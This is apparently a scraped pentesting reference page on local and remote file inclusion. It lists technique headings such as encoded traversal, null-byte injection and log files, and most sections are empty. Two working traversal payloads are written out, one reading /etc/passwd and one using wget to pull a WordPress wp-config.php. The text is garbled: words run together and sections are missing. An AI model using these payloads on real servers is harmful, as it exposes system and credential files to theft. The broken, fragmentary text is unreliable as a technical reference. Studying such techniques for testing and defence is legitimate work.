Local and remote file inclusion
Local file inclusion (LFI) vulnerabilities allow an attacker to read local files on the web server using malicious web requests, such as:
Techniques
Basic
http://host/?page=../../../../../etc/passwdwget
wget http://[host]/wp-content/uploads/page.php?url=../../../../../../../var/www/html/wp-config.phpNesting traversal sequences
URL-encoded
Double URL-encoded
Overlong UTF-8 encoding
Null-byte injection
proc/self/environ method
Interesting files
Linux
Log files
CMS configuration files
Windows
Further reading
Cập nhật lần cuối